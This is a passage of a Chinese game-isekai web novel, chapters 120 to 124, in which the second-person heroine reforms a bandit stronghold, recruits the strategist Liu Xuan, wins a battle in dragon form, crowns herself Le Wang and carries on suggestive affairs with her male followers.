你没想到还能见到何余,以为他死定了,都没留意他的【人物档案】。 “何大人。” 何余听到几分熟悉的声音,有些恍惚。从顾府离开的这些日子,他一直被山匪关在不见光的仓房里,意在用他的命在顾氏那里换取钱财,但一直没有如愿。 以何余对顾氏的了解,太守没有下令处死他已是良心发现,怎么可能花钱到这种地方救他。 他可是知晓顾府三小姐换人的丑闻,最好死在外面,才解了他们心中疑虑。 何余不确定自己的耳朵是否听错,他听到了假三小姐的声音。 “何大人,还活着,要为我办事吗?” 不是错觉,是真的阿棘。 他心中仿若有雷声发震,不敢置信地抬眼看你。你还穿着小姐的名贵衣裳,坐在简陋的山寨客室,与他情绪两极,神情平静。 “给我办事,之后封你做尚书。” 何余的谋略值偏高,既然还活着,撞到你面前,就是上天赐给你的人才。 他身边的叫做【柳玄】的人也一样。比何余更厉害些,他的谋略值是满的,但身体素质不好,打了【病弱】标签。 你使唤邱生,让他把柳玄的脸抬起些。 柳玄的发冠早在进寨时便被拆走,眼下一头乌发披散着,露出面颊来,令人想到黑发玉颜这词。 你语气放柔:“你给我办事,也给你好处做官。” 柳玄:“……” 他抬起些眸子,干燥的唇动了动。 “为何呢?” 何余回过神来。 被关在一起的这段时间,他和柳玄聊了彼此的事。虽然柳玄没有全盘托出,但他的身份,何余猜得八九不离十。 他必然拒绝你。河西崔氏的主子和一个不知为何出现在匪窝、口中振振有词、说着奇怪话的女子相比,就算是傻阿荆也选得出来。 你道:“因我想用你成事。” 柳玄垂着睫毛,道:“一人不可侍二主。” “但你被抓了这些日子,也没见你的主人找来,显然你被放弃了。有人想用这种方式,不沾手地把你处死。” 何余讥讽地勾了勾唇角,他便和你说的一样,是这般落魄的处境。 卖心卖力十几年,忠心为主家办事,却没落得什么好。 想要招纳的两人都迟迟不表态。 你不强求,人才都是抢来的。 你给他们安置座位,让他们不必客气,什么时候饿了什么时候吃,随后当着他们面给山寨定规矩。 一方面展示你的领导能力,让他们和山寨众人臣服于你,一方面新官上任,你想靠山寨做争霸起点,就得把山寨安排好才行。 “第一,夏日每人必须每日洗澡,否则罚十板子或一串钱。天冷可适当间隔一日到两日。” “第二,老弱妇孺、落难流民是底线。见之不得劫掠,若有余力,需施粥赠药。” “第三,外出劫道,只能取豪强不义之财。商贩挑夫、寒门农户的财物,分文不可沾染。” “第四,每次行动所得,必须划出三成物资,赈济周边村落。违反之人,初犯杖责二十,再犯逐出山寨,屡教不改者,按寨规严惩不贷。” 这是你深思熟虑后,认真列在纸上的条款。 何余听了进去,再看你的眼神与之前有所不同。 你是真心想要治世,并非年轻女孩异想天开的胡闹。 他不曾想那个瘦弱的女孩有如此心胸。 本该这样。 自古成事者,杀人夺财、兵、符再多不过。乱世中,男人做是枭雄,女人做便是恶毒? 是他想得窄了。 与邻座踌躇满志、激动不已的何余不同,柳玄始终静坐在席间。 他没有被你的规划打动。 无所谓的,反正你不会放他走。 120-130 第121章 新规实行, 最明显的变化是山寨里的空气清新许多。 如此简陋也宜人,但之后的饭菜中,荤腥一天比一天少。 你发出疑惑, 是猪都吃光了? 邱生道:“寨主, 山寨里已不剩多少存粮了。前些日子, 小竹他们照您的吩咐去接济村中贫苦病弱,结果那群刁民将大半的粮食抢去, 如今存量只够寨中上下再吃五日……” 你道:“你们不是山匪?之前的粮食是怎么来的,再找就是了。” “之前,之前的粮食便是从村庄中抢来的……” “那村民抢你们的粮便不算抢, 算要账。” 邱生叹气:“可我们也要活命啊, 寨主,现在山寨里的人都在找下家, 要投奔去隔壁镇的山寨呢,我们在青牙寨已经活不起了。” “……” 你想了想, “我允许你们抢不义之财。” 邱生道:“寨主,能拿到不义之财的那些人,我等岂敢打着山寨的名号得罪?” 他一脸愁容,是软弱的个性, 困难在他身上体现得要比平常人深刻几分。 你道:“带一队人, 随我下山。” 在道具的加持之下, 你们劫了几名与州牧家沾亲带故的恶吏钱财,收获颇丰, 是过去打劫普通百姓小半月的份量。 但邱生等人并不因此雀跃, 反而心事重重。 你意识到这样懦弱松散的手下无法助你成事。 生存危机暂时解除,你宣布以后接济村民要在山寨有富余的情况下量力而行。 当晚,你点着烛灯琢磨练兵之事。 陈珣伤势恢复得很快, 眼下已经能够自己行动。吃饭、穿衣、沐浴都没有问题,他本人在匪窝里就是最大的问题。 比如。 “阿棘,我不要住在这种地方,晚上睡觉闻得见溷积的气味!” “‘溷积’是什么?” “目不识丁,粗鄙。”他披着外衣到你耳边轻声解释,差不多是“粪便”的意思。 “哦。我怎么没闻见?你忍忍。” 还有。 “阿棘,好多丑人,找些模样好的小厮侍奉我,不然我半夜要被吓醒了。” “忍忍。” “瞪我做什么?我哪句话说错了?你们就是丑啊啊啊啊啊……” “……” “被打好受吗?” “痛!” 还有。 “我这个盘子有裂纹,给我换一个完好的。” “我的耳坠呢?太久不戴,我的耳洞要长死了!” “我的手空,我要戴镯子!” “我不要跟那傻子一起吃饭,你让她下去!下去!” “顾及钰!她抢我饼吃,那是我的饼!” ……非常吵。 你才沐浴过,发尾往下滴水,淋湿了糙纸的一角。 陈珣贴到你身后来,头上包着布巾,束起他同样刚刚洗过的长发。 “在看什么?” 你将纸挪到他能看见的视野范围。 “我在想练兵的事。没经过训练,手下人没有胆量。” 陈珣半压着你,下巴抵着你的肩头,不自觉蹭了蹭。 “这不是做得很好吗?” “兵器换新换好。然后这里,你要给他们分不同兵种练体力。骑兵练马,用短柄,步兵长跑,攀爬,再分刀、枪、箭……” 他语气带笑:“我跟你说正事,你看着我干嘛?” “发现你除了容貌之外另有用处,我欣赏你。” 陈珣道:“过去跟在我爹身边看到的,用处谈不上,只会些皮毛。” 提起陈校尉,陈珣的情绪低沉下去,出了口气,在你侧脸印下一吻,与你分开,往床榻的方向走,拆头上的布巾。 他声音很轻:“以后你起兵了,会为我报仇吗?” 你道:“我为什么要帮你报仇?” 陈珣嘴角勾起讽刺的笑意。 “你如果有用,我会赏权给你,自己的仇自己报不好吗?” 他倏地回头,眼中似燃起火般明亮一瞬,随后蒸腾起水雾,化为软绵绵的一片。 “我……” 他低头:“我不确定我有用。” “你只要愿意干,我就给你这个机会。” 没有人天生就擅长做事。 你打算做一位开明的君主,贤君,明君。 只要来投奔你的人有自己的抱负,你都会给对方机会尝试。然后在这条路上遇见目标一致,志同道合的人。 陈珣立在床榻前,长久地注视你。你看到他沐浴过后蒸红的胸口,衣襟一直敞到腰间束带处,露出盖了伤疤的腹肌轮廓。 垂在身前的湿发滚落一滴水珠,沿着微微起伏的轮廓向下,浸湿成一小块水痕。 他的感动还没有退下去,领会了你的目光,含泪哼笑。 大大方方地将腰带解下去,他朝你走近,将带子递给你,示意你可以绑在他的手上,或者对他做其他的事。 “什么都可以。” “阿棘,我们原本就要做夫妻。” 唇舌灌入。 远在江陵郡的陈府,属于新主人的卧榻中,传出丝柔轻缓的喘息。 去哪了…… 去哪了呢。 陈澹生阖目,在漆黑空无的夜色里,想象着你的眼睛,淡漠有神,时而带着观察意味的目光。 好气啊。 就那么把才度过初夜的他扔下,带着陈珣离开了。 兄长哪里好? 蛮横无理,心肠也坏。 不像他,饿极也没舍得吃过白兔,小羊也不吃的。 身边好空旷,为什么你不在呢,好想被你抱住,埋在你的胸口。 好冷,好冷,好害怕啊。 找到你的话,就杀掉吧。这样就永远都不会离开他身边。 他回想你的头发,柔顺到令他发痒,轻轻扫过他的指尖,拉着他的手去密不可言的地方。 杀掉了,就没有温度,也不会说话,不会用黑眼珠看他了。 那样和现在没有区别。 好害怕。 想要。 如果此刻不是他自己,而是进入了你的身体。 光是想想,就好恨。 杀了陈珣。他当时就该杀了他,没了他,你也许不会离开顾家,也许会留在他的身边。 荒诞的深夜,陈澹生在月色不及之处张了嘴唇,伸出一截舌尖,渴望着不知去处的你的亲吻与安抚。 可是你的吻正落在他恨之入骨的长兄身上。 * 第二日。你神清气爽,等了陈珣许久也不见他起床,于是晃了晃他。 “唔……你醒了?要我亲你吗?” 你捏他的唇,“起来干活。” 练兵的事你还要跟他商量。 你把练兵方案交给邱生,并通知以后陈珣负责监督。 如此过去几天。你卖了陈珣的一对耳环,换了新的兵器与健康的马匹。 在陪白日的傻阿荆抓蝴蝶时,你路过看了一眼。山匪们已经被训练出了几分陈家部曲的模样。 每日训练,加上外出实操,已经能初步维持整个山寨的运转。 你没让那些山匪的家属歇着,命令他们在后山开垦荒地,种些粮食,扩大养殖规模。渐渐的,青牙寨的改变引来了附近村庄的归顺,用劳动力或粮食换取山寨的保护。村子里,青年健壮的参与到练兵中,你不限男女,便也有许多力气大的女人加入,后面演变成常态。 除了村民,还吸引到一些江湖义士。他们见青牙寨只劫奸恶之人,心中钦佩道义,投奔到你麾下。 何余因为归顺早,混成了山寨里仅次于你,与邱生、陈珣等平起平坐的大头领。他饱含热情地张罗后来者的职务,让每个人都有自己发挥作用的地方。 山寨有了一定规模,就不需要你事事照看。你只需要管好特定的那些人,听听他们拿不准的主意就够了。 你绝大多数时间在认字。 拿着一本书坐在檐下,谁路过问谁一嘴。 陈珣觉得你一本正经认字的样子可爱,耳鬓厮磨许久,才拿剑离开。 你靠在椅背上平缓呼吸,转头朝来人打招呼:“浸月君,出来见我,是想通了要为我办事吗?” 柳玄手掌垫了帕子,捂着口鼻咳嗽。他一身病气,形销骨立,却给人一种浑身散发香气的感觉。他身上也的确有香气,一种和药物混杂的清新的花香,想要仔细辨别,却无法确定具体的花类,和他的人一样捉摸不透。 “我大约没有选择的余地。” “是这样。” 你朝他招手,让他走近。 “我真的很想让你给我办事,你怎么才能答应我?要给你钱吗?” 柳玄道:“我今日来,便是为此。” “不知寨主想要的天下,与我心中所想,是否为同一个。” 你托脸盯他:“有区别吗?” “有。若寨主想要的天下,是酒肉,是色权,是皇位,那与我便不同路。” “若是天下平定,河清海晏,车同轨、书同文,百姓吃得饱饭,孩童不识刀枪,我便助寨主夺定九州。” “你很有自信?” “是寨主交托给我的信任,不敢辜负。” “柳玄。” “是。” “你若真心考验我,便不该将第二种直白脱口。你该让我自己说。” “还是说你已经看上我了,想追随于我成事,又不好意思随便认主,所以问这一嘴?” 柳玄苍白的脸上浮现一丝笑意,很快消失不见。 你道:“我心中的天下是酒肉,是色权,是皇位。但也有造福百姓的意愿在,我想把皇帝这件事从无到有做好,所以我不会辜负你。不仅如此,我还会顺着你做些你想要做成的事。” 柳玄道:“我知君如此。” 却不想能将话说得如此明晰。 这样差不多算是建立君臣关系了。 你跃跃欲试,这人谋略是满值,你很好奇他眼中当今的局势。 “现在你给我第一计。” “第一计。”柳玄躬身行礼,“寨主命座下山匪劫富济贫,已惹怒了本地士族,想来如今他们已经在围攻青牙寨的路上。” 你道:“正是实践兵力的好机会。” 柳玄道:“不止,寨主要将真龙戏法再现,让所有人都知道您是天命之女。且此战必须得胜,吞了对方的兵力,打出声望。让天下知道寨主与青牙寨的存在。” 第122章 【模式切换】 你回到待机空间, 手柄滑轮翻找菜单功能,找到【自动挂机】,开启。 【挂机期间, 你打算做什么?】 【读书/练武/结交名士】 你选择【读书】 屏幕中, Q版小人不再由手柄控制, 仿佛托管功能般,自行移动到书桌前看书识字。 头顶冒出气泡, 里面的内容时而是一个卡通叹号,时而是一团乱线。 阿荆带来蝴蝶笼子到你身边,你在看书, 她便在一旁托着脸, 对蝴蝶摇头晃脑。 如此度过一个上午的时间,陈珣、邱生等人来找你商量山寨的事务。 将要过冬, 御寒物品、粮食、冬日武装都要提前准备。 他们的意见以文本框的形式在屏幕中展开。 邱生认为,山寨处于起兴阶段, 节省开支必不可少,但也要注重物资的品质。物贵精良,很多物品比如棉被可以长久使用,只花一次的钱就能用几年。要是采购一些劣质的用品, 冬过不好, 折损兵力不说, 还要在第二年重新采购,长久来看耗费更高。 陈珣的意思, 则是尽可能缩减日常支出, 将大笔的资费投入到山寨军备上。世家已发讨伐檄文,开战的日子不知在年前还是年后,想要保全兵力, 就要时刻警惕备战,吃穿用度上忍忍便过去了。 两边都很有理。 你选择采纳邱生的意见。 陈珣头上冒出了哭脸,Q版的他头耷拉下去,十分沮丧的模样。 光标落在他身上,出现选择页面。 【安抚/训斥/行房】三种选项。 你以为是眼花误看了选项,揉了揉眼睛,没变,没有看错,就是【行房】。 还是白天,邱生和阿荆还在室内,这时【行房】是否太过荒淫? 不过。 【存档】 试试看会有什么结果。 点击选项。 邱生和阿荆头上出现了惊恐表情的气泡,他们迅速从书房离开。 陈珣接受了你的【行房】请求。两个Q版形象在屏幕中手拉手,气泡变成爱心形状,黑屏几秒,恢复正常。 陈珣心情满值地去忙碌了。 真是很健康的一种游戏模式。 你将待机空间的空调打开。此处温度宜人,不冷不热,不需调节,但打开空调后会有种空气流通的感觉,给你的感觉更舒适。 在零食推车里挑了一袋喜欢口味的薯片,你捏着封口处拆包,仰倒在沙发上吃。 吃腻后睡了一觉,把沙发的抱枕当被子摆在身上。 一觉睡醒,你发现自己的身上真的盖了一条乳白色的毛毯,柔软温和,闻着是一股清新的草叶味。 你睡着的这段时间,在游戏里过了将近两天。 右下角堆满叹号决策事件。 你逐一打开,发现本地豪强以萧氏为首,已派兵打到山脚下。 柳玄的名字连续出现在加急战报中。 【敌军投石砸寨门,势急,我军登高以箭引火攻其辎重,寨主以为如何?】 【敌军三万,我军五千,难以抵挡,派陈珣带精兵从后山突出重围,引走敌军主力,何余率兵擒萧丑,寨主以为如何?】 【萧氏以金银粮食诱降,窃以假意投诚,夺宝而反目,寨主以为如何?】 诸如此类。 谋略值高的角色就是这样,没有一句废话,直接把方案呈给你决定。 你全部点了同意。 柳玄的请求又跳了出来。 他要你现在变成白龙模样,出现在两军对峙的上空。 【同意】 你操纵手柄调出道具,变成之前变过的那条白龙的样子,滑动方向杆在空中飞游。 本来稍有颓势的山匪们仰头看到他们的真龙寨主,一时热血沸腾,形成倒压之势朝敌方攻去。 龙吟响彻云霄,萧氏部曲见到你的龙身,对击时变得迟疑。真龙现凡世,自然是顺应天命。 那他们与龙敌对,算不算逆天而为? 【青牙寨在与萧氏大族对决中获得了胜利】 【青牙寨在江北名声大震】 【你作为青牙寨之主,在天下诸侯间崭露头角,成为新起的传奇……】 【柳玄送来一男子,劝你对外公布男子的皇室血统,与他成婚,扶持他为楚王。你的决定是】?哪来的楚王? 【拒绝】 【柳玄坚持劝你,解释男子是他招来的傀儡,你需要一个名正言顺的身份建立政权。成婚后即可把男子杀死,以楚王妃的身份问世。】 【拒绝】 【柳玄坚持劝你……】 【拒绝】 【柳玄询问你的意见】 【继续当寨主/自己称王/其他】 你选择:【自己称王】 【柳玄深思过后,赞同了你的想法】 【你选择的封号是:】 【█ █ █ █妙 █山留 齐乐 █平牛 】 不该你认识的字,被游戏严谨地涂黑。 你在有限的寻常字中挑选,最后定下“乐”字。 玩游戏还是快乐为主。 快乐最重要。 【柳玄朝你行礼】 【拜见乐王殿下】 你用光标点他的Q版形象。 出现选项:【闲聊/批评/行房】 虽然不是真的睡到,但看到这个按钮,你就选不动其他选项了。 【存档】 【行房】 【柳玄拒绝了你的行房邀请】 你继续点。 【行房】【行房】【行房】…… 【柳玄拒绝了你的行房邀请】 【对该人物实行此种行动次数已达上限,请耐心等待冷却时间】 “……” 好吧。 冷却时间的长短没有公布。 你在【挂机】变速中,不时关注柳玄一下,点开他个人的选择框,点击【行房】按钮。 最后得出,这个按钮是根据游戏里日升月落的周期刷新,也就是游戏内的一天。 于是游戏内的每次天亮,你都先去柳玄的房间点击【行房】选项烦他一下,才【挂机】等待待办事件开新。 成为乐王后,山寨的规模上来,演变为你势力的据点,每天都有外来人投奔。 人满为患,需要新建住所,医疗水平也需要提高。 你在【人物档案】中找到寸术的页面。 此人是男主身边的神医,救男主活命多次。在阿荆杀男主的那天晚上,你们在楼船上见过一面。档案中显示他在失去了主人之后,漂泊尘世行医。 你打算派人招揽他过来,为阿荆治病,顺便调理一下柳玄的身体。 通缉令发下去。他人在光州,一来一回找到他、抓回来应该要几个月。 说起柳玄。 你操纵自己的小人去到柳玄的房间,他正被侍从伺候喝药。 点开选项界面,照常点击【行房】、【行房】、【行房】…… 侍从头上冒出害羞表情的气泡,动作很快地离开了柳玄的卧房。 你机械地按着【行房】按钮,决定按够最高次数便走,去忙别的事。 但在你迅速按动的过程中,屏幕黑了两秒。 “……”? 他同意了? 黑屏结束,两个小人还维持着手牵手的姿势。 虽然大白天行房,但卡通画风的柳玄并未因此对你表现什么特殊,仿佛他身为臣子,对王上献身是稀松平常的事。 你又点了遍【行房】,这次集中注意力在柳玄脸上,想看看他有没有别的表情。 但。 【柳玄拒绝了你的行房邀请】 只能一次? 你继续点,没点两次,达到了次数上限。 你去练兵场找了陈珣,拉他到没人的地方,选择【行房】。 他的表情就很正常,先是脸红着拉起你的手,然后头顶气泡冒爱心,最后黑屏几秒,脱离亲热状态。 看来和角色性格有关。 * 这年,青牙寨下的村民们过了几十年不曾有过的安心幸福的除夕。 你自封为王的消息放出去,这里已不再是青牙寨,而是乐王府的腹地。 在待机空间待得无聊,你切换模式,进到游戏里面和部下们过年。 年夜要吃的猪跑了,在山中轰隆隆狂奔。陈珣、邱生在它身后追赶。 山里的妇人们抱了小孩子过来跟你拜年,没有孩子的人家就提了一筐鸡蛋。 看着她们脸上幸福的笑,你心中升起更坚实的、庇护她们的决心。 用过午饭,你翻书检查挂机这段时间的认字进程。 门被柳玄从外面敲响。你抬头跟他对视一眼,他便走进将门关紧。 “有事?” 他摇头,缩坐在炭盆旁。 一直没说话,你便将注意力移回书里。靠前后字猜字,猜对了以后,字就认得,也算一种新奇的玩法。高强度反馈,很让人上瘾。 柳玄用铁钩勾了勾盆里的烧红的炭。忽然开口:“今日不做了吗?” 你疑惑。 他也不躲闪,直白道:“今日不用我吗?不用的话,我回去了。” “……” 似乎你之前每天去他房里按【行房】按钮,在他身上养成了习惯。切换模式之后,身临其境,你没再去找他,令他白等了你一天。 第一次同意之后,柳玄每日都会接受一次你的邀请。 你嫌少,每天持之以恒找他,试图从中突破,但一直没能改变现状,他总是在你点击第二次【行房】按钮时拒绝。 “用。” 你将书倒扣在桌上,快步到他面前。 他眸光浅淡地望你,随后朝旁边转去,手解披风的系带。 你好奇地看他动作,褪到里衣时,他动作顿住,盯向你腰间的系带。 “殿下不脱吗?” 殿下。 你品味这两个字。自己给自己争取来的身份,听着比之前的陛下顺耳。 “还是……” 柳玄近了几步,将唇送到你嘴边。 开合的嘴中散发好闻的香气。湿润润的唇瓣包裹住你的,舌向内轻车熟路地挑开你的牙齿,慢条斯理舔舐上颚,与你的舌纠葛。 一种很聪明的吻技,什么都没碰,但什么都有了。 没有拥抱,没有温情。 仅仅是臣对君的予取予求。 “要我主动侍奉您?” 第123章 松软的床榻里, 你躺平身体,眼睛盯着帐顶,思索在游戏中纵欲对身体有没有害处。 应该没事。最多算是想想? 柳玄为人冷清, 即便与你做了合为一体的事, 结束后也以公事公办的态度收拾残局。他拆了褥子的外皮, 将浸湿的床单叠整齐,下床找干净的一套。 没走两步, 他跪地上。手掌撑地,缓了半晌,才挪起身继续朝柜子的方向走。 你将目光落在他瘦削的脊背上, 轮廓锋利, 脱了衣裳还有一层薄薄的肌肉。随着他动作,身后长而黑的直发也微微拂动。他的头发比寻常男子长些, 一身病气,却把容颜养得极好, 从浑身挟带的香喷喷的气味就能看出来,他私下一直下功夫收拾自己。 “殿下何故看我?” “浸月君,你和你的名号一样,像泡在水里的月亮。” 你窝在被子里趴身, 攥拳垫在脸下, 闲适望他。 柳玄只垂眸:“是吗。” 他捂嘴咳了咳, 将褥子套好,跪上床铺得平整。 “殿下若无事, 臣便退下了。” “我们还没有宫殿, 算不上什么殿下。以后叫我主上吧,我觉得这个称呼霸气些。” “是,主上。” 围着被子坐起身, 你拉柳玄坐到床边。他本人对于你来说还具有一定的新鲜感,你目不转睛地瞧着他。 他的耳垂下面长了一颗痣。 你抬手刮了刮,柳玄抿唇忍下。 “这里会很有感觉吗?” “……主上,今日已有过一次了。” “我问问而已。” 你拾起一缕他的头发,在手里把玩,片刻,直起身给他编两束麻花辫,拿散在床头的发带给他固定。 “编好了。” 你下床去拿镜子,他拉你手腕,跪身为你穿鞋后才放你行动。 镜中的柳玄神情平淡,只赏给新发型一眼,便将注意放在你给的发带上。 “此物主上要赏我吗?” 两条布而已。乐王的名号立起来以后,周边被打服的世家送来贺礼,除夕又送来一波,你现在是个富甲一方的有钱人。 “赏你。” “谢主上。” “不客气。” 你坐他身边,把他的辫子拉蓬松些。 “着急走吗?” 柳玄摇头。 于是你靠在他肩上。先问他的身体情况,得出两句无事的回答,你进入正题。 占山为王,在成事之前都还是匪类。想要大发展,年过去就得开始下一步。 柳玄表示他考虑过这些事。 “昔日我与淮阳太守有旧,杨氏亦江北大族,年后我去信给他,由他出面,召集各地势力讨龟将军。届时主上带兵迁营,以作战为由占据新城。” 你拨着他的辫子思索,“但我和龟将军不是一样的坏人?对长安而言,我也是反贼,也是要抢天子的天下。” “所以,我之前让你拥立楚王,至少有皇室血脉在,你是宗室,不是贼人。” “……” 柳玄道:“然此局并非无解,主上不必烦忧。” “你有别的办法?” “一样的路数。”他指尖在榻上勾画,“这是青牙山、江陵……” 一条长线,拉出江河。 “樊阳关,商通水陆,又在江陵以北,是过渡的好去处。” 你道:“攻进樊阳关,前后截堵江陵,等于吞并两城。” 柳玄脸上浮现浅淡的笑,抬眼望你,对上视线后恭敬垂下眼帘。 顺着思路往下走,你继续道:“可我们的部曲还不足以攻城,即便强攻樊阳关,之后住在江陵的州牧恐也容不下我们。” “是这样。” “所以要取巧,我可以变成龟将军的样子绕路。” 你在榻上无形的地图中勾画,“从西北向出发,装作从长安而来,攻打樊阳关。龟将军兵力强盛,手握天子,污蔑关守谋反轻而易举。且我是龟将军,对方也会畏惧我带来的兵力,担心有诈,愿意保命而交城出手。” “在外拉龟将军的仇恨,在内,樊阳关失守的几日后,我换回自己的身份,带着咱们山寨上下去‘打’龟将军,如此进关移据,不至于吸引太多火力。” 柳玄道:“我与主上不谋而合。不过,我更期于伪造密信,挑长安与江北争端,勾连州牧与其他诸侯的野心。届时自然有联盟事出,王府出面即可,樊阳关徐徐图之……主上用计取巧,说来容易,变数太多。” 存档。 “我来做给你看如何?我能做成。” 柳玄眉头动了动。 “军中上下都是诚心臣服主上之人。” “我知道。” 如果做错了就读档重来,你会尽可能地护好自己人。 柳玄顶着两个麻花辫离开你的卧房。 路过的人都震惊看他。平心而论,并不难看,甚至有几分娇俏,给他多添几分人情味。往常不敢跟他说话的人,此时也能壮着胆子打趣他,是乐王殿下又宠幸他了,好福气之类。 柳玄站停在走廊,叮嘱:“往后称呼乐王为主上,不可再说殿下。” “是。” 他的辫子一直到夜里沐浴才拆下去。 陈珣看到后恨得不行,跑来你的房间闹。 “顾及钰,你日日临幸他就算了,怎么还送他你的私物!你,你送他发带,是想跟他结发同心吗?我跟你这么久,怎么不见你送我什么?” “喜欢什么自己拿。” “根本就不是一回事!你爱上他了吗?你爱上那个病秧子?他做得起来吗?他有力气伺候你吗?” 陈珣的自尊心受到了极大的挫伤。论容貌,他并不输柳玄,两者的长相不是一种风格,各有各的好看法,无处比较。 但你就是对柳玄很好,第一次见面就对他特别,将人关在山寨里不放。别人说你求贤若渴,他相信了,结果你是起色心。 如果你喜欢的是容貌,那为何当初见到他时一点反应都没有,他不好看? 如果你看中的是柳玄的才能,他做到的那些,陈珣自己一样也可以。 为什么? 他在你那里本就不是第一个。 “他在床上力气还是有的。” 你放了笔,活动手腕:“不过他不出声,只呼吸。也算新奇,还是叫一叫体验更好。” “……” 陈珣表情变得空白。 他脸上发热,是一种火辣辣的痛感,仿佛被谁在烈日下扇了耳光。 “你和我说这些?” “不能说吗?” “顾及钰,你把我当成什么?” 他声音颤抖,不似寻常吃醋。 你抬脸招他走近,拉他的手,“把你当作陈珣。你生气了?” “我什么都不剩了。” “是我的错吗?” “……不是。” 他反应过来,仿佛溺水的人,紧紧抓住伸向他的那只手。不论拉入水底,还是获救上岸,他都不想和这只手分开。一辈子这样牵在一起都可以。 “我错了,阿棘。你生我的气吗?” “没有,你大吵大闹的样子还挺有趣的。” 他蹲身,将头枕在你的胸口,耳朵贴在你心脏的位置。 “爱看我笑话就看吧。” 你听到了吸鼻子的声音,他哭了。 你用指节刮他的眼泪:“我就是这样的,你如果受不了可以不喜欢我,我们只做上司和下属。” “谁说我受不了?”他咬牙切齿,“我就是看不惯柳玄那副清高样。得了便宜还卖乖,好像委身于你多么可怜。” “他有吗?” “有啊!我讨厌跟他共事。就像今天,你给他编了头发,他故意在我面前走,气死我了。” “是不是你自己坏,就也想别人坏?” “我……我跟他不是一个坏法。” “那你想怎么办?” 陈珣起身盯你:“我今晚要在这住下,你得碰我。” “嗯。” “然后明天给我也编头发。” 你笑:“他要是骂你学人怎么办?” 陈珣异常执着:“不管,我不管,我得在外人面前找回这个脸。” 说着,他又回到你怀里,拥着你的腰。 你摸他的耳垂,摸到耳洞处,问:“怎么不戴耳饰了?你戴耳圈很好看。” “……好看吗?我还怎么好看?” “你穿束腰的衣裳也好看,腰很细,看着很有力量。” “还有呢?” “头发全绑起来……”你灵机一动,“我给你烫头发好吗?” “?” 你找了根铁枪,截断放到炭盆里烧。 陈珣和你蹲在一起,盯着炭盆里的铁,有种不妙的预感。 …… “烧起来了!” “对不起!” “在冒烟!” “应该是正常现象……” “你扯到我头发了!” “对不起,我给你吹……你咬我脖子?” “让你记住,我变丑了是因为你。” “不会丑的,你留卷发肯定好看。” 最后陈珣的头发减去烧焦的发尾,绕着铁枪烫出效果不错的弧度。 他美商高,第二天坐在镜子前装扮自己,用了红发带,金耳圈,明艳凌人,看着无比贵气。 你与柳玄谈事,他几次三番求见,见了面跟你说些无用的废话。笑盈盈地在柳玄面前吻你,仿佛昨晚破防的不是他。 柳玄不曾看他,视线本分守礼,盯他手中茶盏,等待着陈珣的离开。 他的分寸被陈珣理解为落寞。后者心满意足离开,说今晚也要来你这里住。 他走后,你继续和柳玄的话题。 “说到哪,我忘记了。” 柳玄道:“征兵之事。口粮与军饷,盐,都要事先准备。” “嗯。” “我可代主上借粮盐于吴郡,钱的事要另想办法。” “吴郡也有你的熟人?” “是,同游过的旧友。钱的话,暂时难凑,可做青牙寨的老本行劫……” 他话说到一半。 你在脑内思考可行性,见他久久没有下文,你问:“可是有什么疏漏之处?” 柳玄点头。 “是疏漏。” “我实在在意。主上也给陈公子梳头了吗?为何梳得比我好看?” “说了奇怪的话,还请主上体谅。” 第124章 “他自己梳的。” “昨日, 陈公子的发不是这样。” “哦,我给他烫了。把他头发烫糙许多,早上抹了桂花油, 我说变好了, 其实还是比之前毛躁, 你可别告诉他。” 柳玄:“……” 你道:“我们继续商量正事吧。” “……” “柳玄?”你伸手在他眼前晃了晃。 他终于回神,神情仓皇, 盯了你一眼起身,头也不回地奔出房门。 怎么了? 你打开他的【人物档案】,只看出他心情值很差, 没有其他特殊事件发生。 年如此过去。 山寨征兵召来一千人。第一批军饷发出去, 你的钱库见底,需要尽快补充财物, 维持山寨营生。 这就需要体力活了。 【模式切换】 你操纵手柄,带亲卫外出劫道。家门口的恶人抢得差不多, 调出全局地图看,出发前往丹阳。 设定日程便可以【挂机】。 双手空闲,你在待机空间里转了几圈。 很无聊。 但不无聊就要肝。 又不想在这时候退出游戏。 你尝试调出虚拟面板。 可行。 于是你开始阅读部下的【人物档案】,当做故事看。 按照声望排序, 首先是柳玄。 世家出身, 高门大族, 累世勋爵。十七岁前,他耽于玩乐, 一本书都没完整读下来过。 十七岁。龟将军入主长安, 控制天子,柳玄父亲惨死朝堂,他开始读书入仕。官最高至太常丞, 及冠,称病乞退,此后周游天下,为淮南牧座下谋士,如今到你帐中。 他没有【敌人】,【支持者】里面写着你。 没有【喜欢的人】。 陈珣的情况你知道一些。 从小没有父亲在身边。 母亲带着他,日子过得艰难。吃穿穷惯了不觉得什么,生病没钱治才最绝望。 陈珣母亲生了场濒死的大病,是他跪着到处求药求活的。他最难过、最需要父亲的时候,陈澹生降世,在军中过父母双全、衣食无忧的幸福生活。 他憎恶贫穷,憎恶陈澹生。 陈校尉回到江陵,将陈珣和母亲接到大房子里住,给他们锦衣绸缎,满桌盛宴。 宴酣间,惭愧说起他与另一个女人的事,离家这些年,他找了别的女人生孩子。 母亲与他决裂,但为了陈珣留在陈家。她本就看不惯那女人,外表无辜,内如蛇蝎,她最恨表里不一的人。 后来被那人处处设计,陈珣母亲忍无可忍,将她饿死。 陈校尉对此不发一语,他心中偏向原配与嫡子,毕竟今日种种是他的错。 之后陈珣明斗、陈澹生暗害。 许多年过去,陈澹生斗赢,报弑母之仇,杀了陈家除陈珣外的所有人。 何余的档案和柳玄类似。 很平常的士族出身,家族落魄,向外游学,小有所成后投到当年还在长安的顾氏做门客。 他早年有妻儿,随顾氏从长安逃难那年染疫病死了。此后他再无成家之意。 邱生小时候是村里最聪明的孩子,学什么都快。也读过书,但后来老母被权贵当街打死,他报官无门,就灰心于朝廷,拜入青崖寨。时间长了,混作头目。 陆续看了许多人的人生。 看累便睡,睡醒检查劫财进度。 屏幕中,你的小人带领爪牙将丹阳周围百里的恶人全部打劫一遍,获得巨大财富。 但想要维持整个山寨,或者说你的王府,仅仅这些并不足以支撑多长时间。 柳玄提出一条谋财之法。 【刺杀行动】 点击,展开被悬赏刺杀的人物及赏金。 很多钱。 杀一个人就足够你劫整个郡。 所以那些恶人在被打劫时,并没有给你很多,只是装作屈服恐惧,给些打发穷亲戚的钱将你送走。 他们真正拿钱买命,是另一种层次的价钱,像刺杀清单上这样。 你低估了他们的有钱程度。 【确认接下刺杀“黎肃”的任务吗?】 【任务成功,可获黄金三百斤】 三百斤。 黎肃,龟将军旧部。如今封侯在关内养老,虽不在龟将军麾下共事,但依然是龟将军的人。 当年攻入长安,他手中有不少命债,仇家多是当初逃难于外的士族,出手阔绰。 